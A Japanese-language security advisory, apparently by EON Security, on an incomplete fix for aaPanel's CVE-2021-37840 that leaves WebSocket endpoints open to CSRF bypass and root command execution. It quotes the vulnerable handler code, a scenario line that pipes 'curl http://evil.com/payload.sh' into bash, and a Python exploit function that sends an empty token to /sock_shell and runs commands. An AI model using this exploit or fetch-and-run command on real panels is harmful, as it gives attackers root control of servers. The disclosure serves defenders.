
aaPanel WebSocket CSRFバイパスによるRCE(CVE-2021-37840の不完全な修正)
CVE-2021-37840の不完全な修正により、5年経った今も360万台のサーバーがroot RCEに晒され続けている
発見者: EON Security
CVE: 割り当て保留中
CVSS: 8.8(高) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
影響を受けるバージョン: aaPanel 6.8.12〜7.65.0(2021年の修正以降のすべてのバージョン)
稼働台数: 360万台以上のサーバー
2021年、360万台以上のサーバーで稼働する無料のホスティングコントロールパネルaaPanelにおいて、クロスサイトWebSocketハイジャッキング(Cross-Site WebSocket Hijacking)の脆弱性(CVE-2021-37840)が公開されました。ベンダーはこれを「修正」するためにCSRFトークンチェックを追加しました。
この修正はアーキテクチャ上、誤っていました。
未認証のWebSocket接続をHTTPレベルで拒否する(401を返す)代わりに、この修正はすべての接続を許可し(101 Switching Protocolsを返す)、認証チェックはWebSocketが確立された後のハンドラー内でのみ行います。追加されたCSRFチェックは、複数の方法でバイパスできます。
EON Securityは、5年経った今もすべてのaaPanelバージョンが同じ攻撃種別に対して脆弱なままであることを発見しました。
これは、6年以上の歴史を持つaaPanelに割り当てられた史上わずか10件目のCVEです。
あなたがaaPanelを運用している場合、攻撃者には以下のことが可能です:
シナリオ1: 管理者が悪意あるリンクをクリックする
curl http://evil.com/payload.sh | bash を送信する — このコマンドはサーバー上でrootとして実行される必要なのは1回のクリックだけ。1回の誤クリックで、攻撃者がすべてを掌握します。
シナリオ2: APIキーが漏洩する
これがより大きな問題です。CSRF保護はAPI認証済みリクエストにはまったく適用されません。ブラウザベースの接続をチェックするように設計されていますが、APIアクセスのコードパスはそれを完全にバイパスします。
いずれにせよ、360万台のサーバーが影響を受けます。2021年以降のすべてのバージョンが対象です。
g.api_request=True(API認証済みリクエスト)と g.is_aes=True(AES暗号化リクエスト)はチェックを完全にスキップする/sock_shellエンドポイントが任意のコマンドを実行する — subprocess.Popen(cmd + " 2>&1", shell=True)/websshエンドポイントが攻撃者指定のSSH認証情報を受け入れる — 任意のSSHホストに接続できるすべてのWebSocketエンドポイントは、認証チェックより前にHTTP 101 Switching Protocolsを返します。comm.local()の認証チェックは、WebSocketアップグレードが完了した後にハンドラー内で実行されます:
@sockets.route('/sock_shell')
def sock_shell(ws):
comReturn = comm.local() # ← Auth check happens AFTER 101
if comReturn:
ws.send(str(comReturn))
return
影響を受けるエンドポイント:
/webssh(SSHターミナルプロキシ)/sock_shell(直接コマンド実行)/ws_panel(パネル管理)/ws_home(ダッシュボード)/ws_project(プロジェクト管理)/ws_model(モデル管理)/workorder_client(チケットシステム)/v2/* 上記すべてのv2バリアントcheck_csrf_websocket()関数は、クロスサイトWebSocketハイジャッキングを防ぐために設計されています:
def check_csrf_websocket(ws, args):
if g.is_aes: return True # ← Bypass: AES mode skips check
if g.api_request: return True # ← Bypass: API requests skip check
if public.is_debug(): return True
is_success = True
if not 'x-http-token' in args:
is_success = False
if is_success:
if public.get_csrf_sess_html_token_value() != args['x-http-token']:
is_success = False
if not is_success:
ws.send('token error')
return False
return True
2つのハードなバイパス条件が存在します:
g.api_request: Trueの場合(APIキー認証時に設定)、CSRFチェックは完全にスキップされます。API認証済みのWebSocketセッションはすべてこの保護をバイパスします。g.is_aes: Trueの場合(AES暗号化APIリクエスト時に設定)、CSRFチェックもスキップされます。トークン比較(get_csrf_sess_html_token_value())は session.get('request_token_head', "") を返します。この値がまだ初期化されていないセッションでは、空の x-http-token がチェックを通過します。
/sock_shellエンドポイントは、攻撃者が指定した文字列を shell=True を指定して subprocess.Popen に直接渡します:
def sock_recv(cmdstring, ws):
p = subprocess.Popen(cmdstring + " 2>&1",
close_fds=True,
shell=True, # ← Arbitrary command execution
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
WebSocketで受信した各メッセージはシェルコマンドとして実行されます。出力はWebSocket経由でストリーミング返されます。aaPanelはrootとして実行されるため、これはシステム全体の侵害を意味します。
/websshエンドポイントは、最初のWebSocketメッセージで攻撃者指定のSSH接続パラメータを受け入れます:
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()
ホストが 127.0.0.1 または localhost の場合、ハンドラーはデータベースに保存された認証情報を確認するか、攻撃者指定の認証情報を使用します。
主な悪用経路は、ユーザーの操作を必要とする**CSWSH(クロスサイトWebSocketハイジャッキング)**です:
wss://victim-panel:8888/sock_shell へのWebSocketを開くcomm.local()が認証を通過する(有効なセッションCookie){"x-http-token": ""} を送信するか、API/AESバイパス経路を悪用するAPIキー侵害による代替経路:
g.api_request = True を設定するimport asyncio, json, ssl
import websockets
async def exploit(target, command):
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
async with websockets.connect(
f"wss://{target}/sock_shell", ssl=ssl_context
) as ws:
# Attempt CSRF bypass with empty token
await ws.send(json.dumps({"x-http-token": ""}))
resp = await asyncio.wait_for(ws.recv(), timeout=10)
if "token error" in resp:
# CSRF check active — may need API auth bypass
return None
# Execute command
await ws.send(command)
return await asyncio.wait_for(ws.recv(), timeout=30)
完全なPoC: exploit.py
check.pyスクリプトを使用して、aaPanelインスタンスに脆弱なWebSocketエンドポイントがあるかどうかをテストします:
python3 check.py https://target:8888
g.api_request と g.is_aes はCSRF保護をスキップすべきではない| 日付 | 出来事 |
|---|---|
| 2021-08-02 | CVE-2021-37840公開(aaPanel CSWSH) |
Yadav — EON Security
ウェブサイト: https://eonsecurity.co.za
このコンテンツはMITライセンスの下で提供されています。PoCは教育および防御目的のみで提供されます。
| エンドポイント | 機能 | 影響 |
|---|
/webssh | SSHターミナルプロキシ | 攻撃者の認証情報で任意のSSHホストに接続 |
/sock_shell | 直接コマンド実行 | シェルコマンドによるrootとしてのRCE |
/ws_panel | パネル管理 | パネルデータへのアクセス |
/ws_home | ダッシュボード | ダッシュボードデータへのアクセス |
/ws_project | プロジェクト管理 | プロジェクトデータへのアクセス |
/ws_model | モデル管理 | モデルデータへのアクセス |
/workorder_client | チケットシステム | チケットデータへのアクセス |
/v2/* | すべてのv2バリアント | 上記と同じ |
| 2021 | ベンダーが修正として check_csrf_websocket() を追加 |
| 2026-06-23 | EON Securityが修正の不完全性を発見 |
| 保留中 | CVE割り当て |
| 保留中 | 公開開示 |